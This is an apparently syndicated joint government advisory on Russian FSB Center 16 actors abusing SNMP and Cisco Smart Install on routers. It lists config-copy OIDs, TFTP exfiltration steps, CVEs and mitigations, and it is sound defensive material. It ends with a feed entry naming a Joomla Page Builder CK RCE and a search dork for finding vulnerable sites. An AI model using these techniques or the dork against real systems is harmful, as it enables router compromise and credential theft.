<li><a href="https://media.defense.gov/2026/Jul/09/2003959498/-1/-1/0/CSA_IMPROVE_ROUTER_HYGIENE.PDF" target="_blank">Improve Router Hygiene to Protect Against Russian State-Sponsored Targeting</a> (PDF, 816KB)</li>
</ul>
<h2><strong>Cybersecurity industry tracking </strong></h2>
<p>The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to this activity. Although not all encompassing, the following list contains the most notable threat group names commonly used within the cybersecurity community related to this activity: </p>
<ul type="disc">
<li>Berserk Bear </li>
<li>Energetic Bear</li>
<li>Crouching Yeti </li>
<li>Dragonfly</li>
<li>Ghost Blizzard</li>
<li>Static Tundra</li>
</ul>
<p>Note: Cybersecurity companies have different methods of tracking and attributing cyber actors, and this list may not provide a 1:1 correlation to the authoring agencies’ understanding for all activity related to these groupings.</p>
<h2><strong>Targeting details</strong></h2>
<p>Critical infrastructure sectors most at risk from the Russian Federal Security Service (FSB) Center 16 cyber actors’ targeting include:</p>
<ul type="disc">
<li>Communications,</li>
<li>Defense Industrial Base,</li>
<li>Energy,</li>
<li>Financial Services,</li>
<li>Government Services and Facilities, especially organizations at the state and local level, and</li>
<li>Healthcare and Public Health.</li>
</ul>
<h2><strong>Technical details</strong></h2>
<p><strong>Note: </strong>This advisory uses the <a href="https://attack.mitre.org/versions/v19/matrices/enterprise/" target="_blank">MITRE ATT&amp;CK® Matrix for Enterprise</a><a href="https://www.cisa.gov/#Foot12"><sup>12</sup></a> framework, version 19. See <a href="https://www.cisa.gov/#AppA"><strong>Appendix A</strong></a> for tables of the activity mapped to MITRE ATT&amp;CK tactics and techniques. This advisory also uses MITRE DEFEND<sup>TM</sup> version 1.4.0.</p>
<p>The Russian FSB Center 16 cyber actors primarily use scanning to identify poorly configured networking devices, primarily routers, for exploitation. The actors scan for Internet IP ranges with active Simple Network Management Protocol (SNMP) agents that accept common or default community strings for authentication [<a href="https://attack.mitre.org/versions/v19/techniques/T1595/001/" target="_blank">T1595.001</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1595/002/" target="_blank">T1595.002</a>]. These scans, run via proxies, consist of SNMP Set-Requests from a spoofed IP address [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/" target="_blank">T1027</a>] containing Object Identifiers (OIDs) that instruct the SNMP agent on poorly configured networking devices to [<a href="https://attack.mitre.org/versions/v19/techniques/T1569/" target="_blank">T1569</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1602/001/" target="_blank">T1602.001</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1090/" target="_blank">T1090</a>]:</p>
<ul type="disc">
<li>Copy its configuration to a file, often called “config.bkp” or “output.txt” [<a href="https://attack.mitre.org/versions/v19/techniques/T1003/" target="_blank">T1003</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1602/002/" target="_blank">T1602.002</a>].</li>
<li>Transfer the file, typically using Trivial File Transfer Protocol (TFTP), to an actor-controlled leased virtual private server (VPS) or compromised FTP server [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank">T1583.003</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1090/" target="_blank">T1090</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1071/" target="_blank">T1071</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1048/" target="_blank">T1048</a>].</li>
</ul>
<p>While SNMP scanning is the primary method the actors use to discover and exploit poorly configured networking devices, they occasionally exploit common vulnerabilities and exposures (CVEs) in Cisco devices, Cisco’s Smart Install (SMI) functionality, and web portals to manage network devices. The actors previously exploited at least the following CVEs [<a href="https://attack.mitre.org/versions/v19/techniques/T1584/008/" target="_blank">T1584.008</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1588/005/" target="_blank">T1588.005</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1190/" target="_blank">T1190</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1068/" target="_blank">T1068</a>]: </p>
<ul type="disc">
<li><a href="https://www.cve.org/CVERecord?id=CVE-2018-0171" target="_blank">CVE-2018-0171</a></li>
<li><a href="https://www.cve.org/CVERecord?id=CVE-2008-4128" target="_blank">CVE-2008-4128</a><a href="https://www.cisa.gov/#Foot13"><sup>13</sup></a></li>
</ul>
<p>Many of these TTPs overlap with activity by other malicious cyber actors, such as <a href="https://media.defense.gov/2025/Aug/22/2003786665/-1/-1/0/CSA_COUNTERING_CHINA_STATE_ACTORS_COMPROMISE_OF_NETWORKS.PDF" target="_blank">Salt Typhoon</a>. Even though this CSA focuses on Russian FSB Center 16 cyber activity, the mitigations below should detect and counter these and similar TTPs used by other actors.</p>
<h2><strong>Mitigation actions</strong></h2>
<p>The authoring agencies highly recommend network defenders implement the following mitigations to harden networks against this exploitation:</p>
<ul>
<li>Disable Cisco Smart Install on all devices [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationConfigurationHardening" target="_blank">D3-ACH</a>]. [<a href="https://www.cisa.gov/#Work2">2</a>]</li>
<li>Use SNMPv3 with “authPriv” configured to the most modern encryption standard that is supported by the device instead of SNMPv1 or SNMPv2 [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationConfigurationHardening" target="_blank">D3-ACH</a>]. [<a href="https://www.cisa.gov/#Work3">3</a>]
<ul>
<li>Disable SNMPv1 and SNMPv2. These are legacy protocols and should no longer be needed on current devices. If they are necessary, change all community strings from defaults and only allow read-only community strings rather than read-write access.</li>
<li>SNMPv3 adds strong authentication and data encryption that are unavailable in SNMPv1 and v2. SNMPv3 replaces clear text shared passwords, known as community strings, with more securely encoded parameters, and authenticates and encrypts data [<a href="https://d3fend.mitre.org/technique/d3f:MessageAuthentication" target="_blank">D3-MAN</a>, <a href="https://d3fend.mitre.org/technique/d3f:MessageEncryption" target="_blank">D3-MENCR</a>].</li>
</ul>
</li>
<li>Use strong, unique passwords for local accounts on network devices and configure credentials to be stored securely to prevent reuse of compromised passwords [<a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank">D3-CH</a>].
<ul>
<li>Cisco devices protect passwords in the configuration file using different hashing types. Use hashing type 8 for user credentials. Avoid using hashing type 0, 4, and 7 as they are insecure or store passwords in plaintext in the configuration file. [<a href="https://www.cisa.gov/#Work4">4</a>]</li>
<li>Monitor for unusual credentials that do not conform to standard organizational naming conventions [<a href="https://d3fend.mitre.org/technique/d3f:PlatformMonitoring" target="_blank">D3-PM</a>]. </li>
<li> Monitor for and alert on logins using local accounts. Local accounts should only be used in emergency situations when accounts supported by centralized authentication servers are unavailable. Centralized authentication to network devices should support multi-factor authentication where feasible. [<a href="https://www.cisa.gov/#Work3">3</a>]</li>
</ul>
</li>
<li>Monitor and restrict access to SNMP OIDs using a Management Information Base (MIB) allow list [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationConfigurationHardening" target="_blank">D3-ACH</a>]. [<a href="https://www.cisa.gov/#Work5">5</a>] Reference the vendor-specific MIB for the network devices and monitor OIDs for indications of reconnaissance or misconfiguration in logs or intrusion detection systems (IDS). IDS rules should be written for inbound SNMP Set-Requests that contain OIDs targeting sensitive device data [<a href="https://d3fend.mitre.org/technique/d3f:PlatformMonitoring" target="_blank">D3-PM</a>].<br>
<ul type="square">
<li>Example OIDs include:
<ul>
<li>1.3.6.1.4.1.9.9.96.1.1 (Cisco Config Copy)</li>
<li>1.3.6.1.4.1.9.9.96.1.1.1.1.5 (Config Copy Server Address, value for this OID is where the configuration file is being sent to) </li>
</ul>
</li>
</ul>
</li>
<li>Restrict management protocols [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficFiltering" target="_blank">D3-NTF</a>].
<ul>
<li>Use Access Control Lists (ACLs) to only allow management protocols, such as SNMP, from management devices, preferably on an out-of-band network. [<a href="https://www.cisa.gov/#Work3">3</a>]</li>
<li>On edge firewalls and devices deny all external communications on the following ports unless mission critical, with strict monitoring if blocking is not feasible:
<ul>
<li>User Datagram Protocol (UDP) port 69 (TFTP) </li>
<li>Transmission Control Protocol (TCP) port 4786 (SMI)</li>
<li>UDP ports 161 and 162 (SNMP)</li>
<li>TCP/UDP ports 10161 and 10162 (SNMPv3)</li>
</ul>
</li>
</ul>
</li>
<li>Update network device software and firmware images, especially to patch known vulnerabilities, and upgrade end-of-life devices to supported ones. <br>
<ul type="square">
<li>Use an attack surface management service to identify and secure Internet-facing systems with weak configurations and known vulnerabilities [<a href="https://d3fend.mitre.org/technique/d3f:NetworkVulnerabilityAssessment" target="_blank">D3-NVA</a>].
<ul>
<li>U.S.-based federal, state, local, tribal, and territorial governments and U.S. critical infrastructure organiztions should consider signing up for CISA’s no-cost <a href="https://www.cisa.gov/cyber-hygiene-services">Cyber Hygiene services</a>.</li>
<li>U.S. Defense Industrial Base organizations should consider signing up for <a href="https://www.nsa.gov/About/Cybersecurity-Collaboration-Center/DIB-Cybersecurity-Services/" target="_blank">NSA’s DIB Cybersecurity Services</a>.</li>
</ul>
</li>
</ul>
</li>
</ul>
<h2><strong>Resources</strong></h2>
<p><strong>United States:</strong></p>
<ul type="disc">
<li><a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/advanced-persistent-threats/russia">Russia Threat Overview and Advisories</a></li>
<li><a href="https://media.defense.gov/2022/Jun/15/2003018261/-1/-1/0/CTR_NSA_NETWORK_INFRASTRUCTURE_SECURITY_GUIDE_20220615.PDF" target="_blank">Network Infrastructure Security Guide</a></li>
</ul>
<p><strong>Canada:</strong></p>
<ul type="disc">
<li><a href="https://www.cyber.gc.ca/en/guidance/routers-cyber-security-best-practices-itsap80019" target="_blank">Routers cyber security best practices (ITSAP.80.019)</a></li>
<li><a href="https://www.cyber.gc.ca/en/guidance/security-considerations-edge-devices-itsm80101" target="_blank">Security considerations for edge devices (ITSM.80.101)</a></li>
<li><a href="https://www.cyber.gc.ca/en/guidance/guidance-securely-configuring-network-protocols-itsp40062" target="_blank">Guidance on securely configuring network protocols (ITSP.40.062)</a></li>
<li><a href="https://www.cyber.gc.ca/en/guidance/baseline-security-requirements-network-security-zones-version-20-itsp80022" target="_blank">Baseline security requirements for network security zones (ITSP.80.022)</a></li>
<li><a href="https://www.cyber.gc.ca/en/guidance/top-10-it-security-actions-protect-internet-connected-networks-and-information-itsm10089" target="_blank">Top 10 IT security actions to protect Internet-connected networks and information (ITSM.10.089)</a></li>
</ul>
<h2><strong>Works cited</strong></h2>
<p>[<a class="ck-anchor">1</a>] FBI. Russian Government Cyber Actors Targeting Networking Devices, Critical Infrastructure. Alert Number: I-082025-PSA. 2025. <a href="https://www.ic3.gov/PSA/2025/PSA250820" target="_blank">https://www.ic3.gov/PSA/2025/PSA250820</a></p>
<p>[<a class="ck-anchor">2</a>] NSA. Cisco Smart Install Protocol Misuse. 2017. <a href="https://media.defense.gov/2019/Jul/16/2002157833/-1/-1/0/CSA-CISCO-SMART-INSTALL-PROTOCOL-MISUSE.PDF" target="_blank">https://media.defense.gov/2019/Jul/16/2002157833/-1/-1/0/CSA-CISCO-SMART-INSTALL-PROTOCOL-MISUSE.PDF</a></p>
<p>[<a class="ck-anchor">3</a>] NSA. Network Infrastructure Security Guide. 2023. <a href="https://media.defense.gov/2022/Jun/15/2003018261/-1/-1/0/CTR_NSA_NETWORK_INFRASTRUCTURE_SECURITY_GUIDE_20220615.PDF" target="_blank">https://media.defense.gov/2022/Jun/15/2003018261/-1/-1/0/CTR_NSA_NETWORK_INFRASTRUCTURE_SECURITY_GUIDE_20220615.PDF</a></p>
<p>[<a class="ck-anchor">4</a>] NSA. Cybersecurity Information Sheet Cisco Password Types: Best Practices. 2022. <a href="https://media.defense.gov/2022/Feb/17/2002940795/-1/-1/0/CSI_CISCO_PASSWORD_TYPES_BEST_PRACTICES_20220217.PDF" target="_blank">https://media.defense.gov/2022/Feb/17/2002940795/-1/-1/0/CSI_CISCO_PASSWORD_TYPES_BEST_PRACTICES_20220217.PDF</a></p>
<p>[<a class="ck-anchor">5</a>] NSA. Cybersecurity Information Sheet: Reducing the Risk of Simple Network Management Protocol (SNMP) Abuse. 2026. <a href="https://media.defense.gov/2026/Jul/09/2003959459/-1/-1/0/CSI_REDUCING_RISK_OF_SNMP_ABUSE.PDF" target="_blank">https://media.defense.gov/2026/Jul/09/2003959459/-1/-1/0/CSI_REDUCING_RISK_OF_SNMP_ABUSE.PDF</a></p>
<h2><strong>Footnotes</strong></h2>
<p><a class="ck-anchor"><sup>1</sup></a><sup>  </sup>Národní úřad pro kybernetickou a informační bezpečnost</p>
<p><a class="ck-anchor"><sup>2 </sup></a> Forsvarets Efterretningstjeneste</p>
<p><a class="ck-anchor"><sup>3</sup></a> Välisluureamet</p>
<p><a class="ck-anchor"><sup>4</sup></a> Riigi Infosüsteem Amet</p>
<p><a class="ck-anchor"><sup>5</sup></a> Sotilastiedustelu</p>
<p><a class="ck-anchor"><sup>6</sup></a> Suojelupoliisi</p>
<p><a class="ck-anchor"><sup>7</sup></a> Agence nationale de la sécurité des systèmes d’information</p>
<p><a class="ck-anchor"><sup>8</sup></a> Agenzia Informazioni e Sicurezza Esterna</p>
<p><a class="ck-anchor"><sup>9</sup></a> Agenzia Informazioni e Sicurezza Interna</p>
<p><a class="ck-anchor"><sup>10</sup></a> Służba Kontrwywiadu Wojskowego</p>
<p><a class="ck-anchor"><sup>11</sup></a> Nationellt Cybersäkerhetscenter</p>
<p><a class="ck-anchor"><sup>12</sup></a><sup> </sup>MITRE and ATT&amp;CK are registered trademarks of The MITRE Corporation. MITRE DEFEND is a trademark of the MITRE Corporation.</p>
<p><a class="ck-anchor"><sup>13</sup></a> <a href="https://www.cve.org/CVERecord?id=CVE-2008-4128" target="_blank">CVE-2008-4128</a> only affects end-of-life Cisco devices.</p>
<h2><strong>Disclaimer of Endorsement</strong></h2>
<p>The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.</p>
<h2><strong>Purpose</strong></h2>
<p>This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.</p>
<h2><strong>Contact</strong></h2>
<p><strong>United States organizations</strong></p>
<ul>
<li><strong>National Security Agency (NSA)</strong>
<ul>
<li>Cybersecurity Report Feedback: <a href="mailto:CybersecurityReports@nsa.gov">CybersecurityReports@nsa.gov</a> </li>
<li>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DIB_Defense@cyber.nsa.gov">DIB_Defense@cyber.nsa.gov</a> </li>
<li>Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, <a href="mailto:MediaRelations@nsa.gov">MediaRelations@nsa.gov</a></li>
</ul>
</li>
<li><strong>Cybersecurity and Infrastructure Security Agency (CISA)</strong> and<strong> Federal Bureau of Investigation (FBI)</strong>
<ul>
<li> U.S. organizations are encouraged to report suspicious or criminal activity related to information in this advisory to CISA via the agency’s <a href="https://myservices.cisa.gov/irf" title="Incident Reporting System">Incident Reporting System</a>, its 24/7 Operations Center (<a href="mailto:report@cisa.gov">report@cisa.gov</a> or 888-282-0870), or your <a href="https://www.fbi.gov/contact-us/field-offices" target="_blank">local FBI field office</a>. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment user for the activity; the name of the submitting company or organization; and a designated point of contact. </li>
</ul>
</li>
<li><strong>United States Department of Defense Cyber Crime Center (DC3)  </strong>
<ul>
<li>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DC3.DCISE@us.af.mil">DC3.DCISE@us.af.mil</a> </li>
<li>Defense Industrial Base mandatory cyber incident reporting as required by 10 U.S. Code Sections 391 and 393 and Defense Federal Acquisition Regulation Supplement (DFARS) 252.204-7012 is submitted at <a href="https://dibnet.dod.mil/" target="_blank" title="https://dibnet.dod.mil/">https://dibnet.dod.mil</a>.</li>
<li> Media Inquiries / Press Desk: <a href="mailto:DC3.Information@us.af.mil">DC3.Information@us.af.mil</a></li>
</ul>
</li>
</ul>
<p><strong>Australian organizations</strong></p>
<ul>
<li><strong>Australian Signals Directorate</strong>
<ul>
<li>Visit <a href="https://www.cyber.gov.au/about-us/about-asd-acsc/contact-us#no-back" target="_blank">cyber.gov.au</a> or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.</li>
</ul>
</li>
</ul>
<p><strong>Canadian organizations</strong></p>
<ul type="disc">
<li>The Canadian Centre for Cyber Security (Cyber Centre), part of the Communications Security Establishment, encourages Canadian organizations to report cyber incidents and to strengthen the security of their networking devices. 
<ul>
<li>Report an incident or suspicious activity to the Cyber Centre by email at <a href="mailto:contact@cyber.gc.ca">contact@cyber.gc.ca</a>, online via the reporting tool <a href="https://www.cyber.gc.ca/en/incident-management" target="_blank">Report a cyber incident - Canadian Centre for Cyber Security</a> or by phone at 1-833-CYBER-88 (1-833-292-3788).</li>
</ul>
</li>
</ul>
<p><strong>New Zealand organizations</strong></p>
<ul type="disc">
<li>New Zealand National Cyber Security Centre (NCSC-NZ): <a href="mailto:info@ncsc.govt.nz">info@ncsc.govt.nz</a></li>
</ul>
<p><strong>United Kingdom organizations</strong></p>
<ul>
<li>Report significant cyber security incidents to <a href="https://ncsc.gov.uk/report-an-incident" target="_blank">ncsc.gov.uk/report-an-incident</a> (monitored 24/7)</li>
</ul>
<p><strong>Estonia organizations</strong></p>
<ul>
<li>Estonian Foreign Intelligence Service (EFIS): <a href="mailto:info@valisluureamet.ee">info@valisluureamet.ee</a></li>
</ul>
<p><strong>Finnish organizations</strong></p>
<ul>
<li>Finnish Security and Intelligence Service: <a href="https://supo.fi/en/contact" target="_blank">supo.fi/en/contact</a></li>
</ul>
<p><strong>French organizations</strong></p>
<ul type="disc">
<li>French organizations are encouraged to report suspicious activity or incident related information found in this advisory by contacting ANSSI/CERT-FR at: <a href="mailto:cert-fr@ssi.gouv.fr">cert-fr@ssi.gouv.fr</a> or by phone at: 3218 or +33 9 70 83 32 18.</li>
</ul>
<p><strong>Italian Organizations</strong></p>
<ul>
<li>Italian External Intelligence and Security Agency (AISE): 
<ul>
<li>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank">https://www.sicurezzanazionale.gov.it/</a> </li>
</ul>
</li>
<li>Italian Internal Intelligence and Security Agency (AISI): 
<ul>
<li>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank">https://www.sicurezzanazionale.gov.it/</a> </li>
</ul>
</li>
</ul>
<h2><a class="ck-anchor"><strong>Appendix A: MITRE ATT&amp;CK tactics and techniques</strong></a></h2>
<p>See <a href="https://www.cisa.gov/#Table1"><strong>Table 1</strong></a> through <a href="https://www.cisa.gov/#Table10"><strong>Table 10</strong></a> for all the threat actor tactics and techniques referenced in this advisory.</p>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 1: Reconnaissance</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><a class="ck-anchor"></a><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Active Scanning: Scanning IP Blocks</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1595/001/" target="_blank">T1595.001</a></td>
<td>Scan range of IP addresses</td>
</tr>
<tr>
<td>Active Scanning: Vulnerability Scanning</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1595/002/" target="_blank">T1595.002</a></td>
<td>Scan victims for vulnerabilities that can be used during targeting</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 2: Resource Development</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Acquire Infrastructure: Virtual Private Servers </td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank">T1583.003</a> </td>
<td>Leverage VPS as infrastructure </td>
</tr>
<tr>
<td>Compromise Infrastructure: Network Devices </td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1584/008/" target="_blank">T1584.008</a> </td>
<td>Compromise intermediate routers </td>
</tr>
<tr>
<td>Obtain Capabilities: Exploits </td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1588/005/" target="_blank">T1588.005</a> </td>
<td>Use publicly available code to exploit vulnerable devices </td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 3: Initial Access</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Exploit Public-Facing Application </td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1190/" target="_blank">T1190</a> </td>
<td>Exploit publicly known CVEs </td>
</tr>
<tr>
<td>Proxy</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1090/" target="_blank">T1090</a></td>
<td>Use a connection proxy to direct network traffic </td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 4: Execution</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>System Services</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1569/" target="_blank">T1569</a></td>
<td>Executing commands via SNMP</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 5: Privilege Escalation</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Exploitation for Privilege Escalation</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1068/" target="_blank">T1068</a></td>
<td>Exploit publicly known CVEs for escalated privileges</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 6: Stealth</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Obfuscated Files or Information</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1027/" target="_blank">T1027</a></td>
<td>Obfuscate source IP addresses in system logs, as actions may be recorded as originating from local IP addresses</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 7: Credential Access</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>OS Credential Dumping</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1003/" target="_blank">T1003</a></td>
<td>Collect router configuration with weak Cisco Type 7 passwords and Type 0</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 8: Collection</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Data from Configuration Repository: SNMP (MIB Dump) </td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1602/001/" target="_blank">T1602.001</a> </td>
<td>Target MIB to collect network information via SNMP </td>
</tr>
<tr>
<td>Data from Configuration Repository: Network Device Configuration Dump</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1602/002/" target="_blank">T1602.002</a></td>
<td>Acquire credentials by collecting network device configurations</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 9: Command and Control</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Proxy </td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1090/" target="_blank">T1090</a> </td>
<td>Use VPS for C2 </td>
</tr>
<tr>
<td>Application Layer Protocol </td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1071/" target="_blank">T1071</a> </td>
<td>Open and expose a variety of different services, including TFTP and FTP</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 10: Exfiltration</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><a class="ck-anchor"></a><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Exfiltration Over Alternative Protocol</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1048/" target="_blank">T1048</a></td>
<td>Exfiltrating over a different protocol than that of the existing command and control channel. </td>
</tr>
</tbody>
</table>
<h2><strong>Appendix B: MITRE D3FEND countermeasures</strong></h2>
<p>See <a href="https://www.cisa.gov/#Table11"><strong>Table 11</strong></a> for a mapping of several of the cybersecurity countermeasures mentioned in this advisory.</p>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 11: MITRE D3FEND Countermeasures</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><a class="ck-anchor"></a><strong>Countermeasure Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Description</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Application Configuration Hardening</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:ApplicationConfigurationHardening" target="_blank">D3-ACH</a></td>
<td>
<ul type="disc">
<li>Use SNMPv3 and disable SNMPv1 and SNMPv2. </li>
<li>Use SNMP allowlisting to restrict access to OIDs and MIBs. </li>
<li>Disable Cisco Smart Install.</li>
</ul>
</td>
</tr>
<tr>
<td>Message Authentication</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:MessageAuthentication" target="_blank">D3-MAN</a></td>
<td>
<ul>
<li>Use SNMPv3 with strong authentication.</li>
</ul>
</td>
</tr>
<tr>
<td>Message Encryption</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:MessageEncryption" target="_blank">D3-MENCR</a></td>
<td>
<ul>
<li>Use SNMPv3 to encrypt payloads.</li>
</ul>
</td>
</tr>
<tr>
<td>Credential Hardening</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank">D3-CH</a></td>
<td>
<ul>
<li>Use strong, unique passwords and store them securely.</li>
</ul>
</td>
</tr>
<tr>
<td>Platform Monitoring</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:PlatformMonitoring" target="_blank">D3-PM</a></td>
<td>
<ul type="disc">
<li>Monitor for unusual credentials. </li>
<li>Monitor SNMP Set-Requests for OIDs targeting sensitive device data.</li>
</ul>
</td>
</tr>
<tr>
<td>Network Traffic Filtering</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficFiltering" target="_blank">D3-NTF</a></td>
<td>
<ul type="disc">
<li>Use ACLs to only allow management protocols from management devices. </li>
<li>Block TFTP, SMI, and SNMP at edge firewalls.</li>
</ul>
</td>
</tr>
<tr>
<td>Network Vulnerability Assessment</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:NetworkVulnerabilityAssessment" target="_blank">D3-NVA</a></td>
<td>
<ul>
<li>Use an attack surface management service.</li>
</ul>
</td>
</tr>
</tbody>
</table>]]></content:encoded>
</item>
<item>
<title><![CDATA[Joomla Page Builder CK < = 3.5.10 - Unauthenticated Arbitrary File Upload (RCE)]]></title>
<description><![CDATA[inurl:com_pagebuilderck OR "/components/com_pagebuilderck/assets/pagebuilderck.js"]]></description>
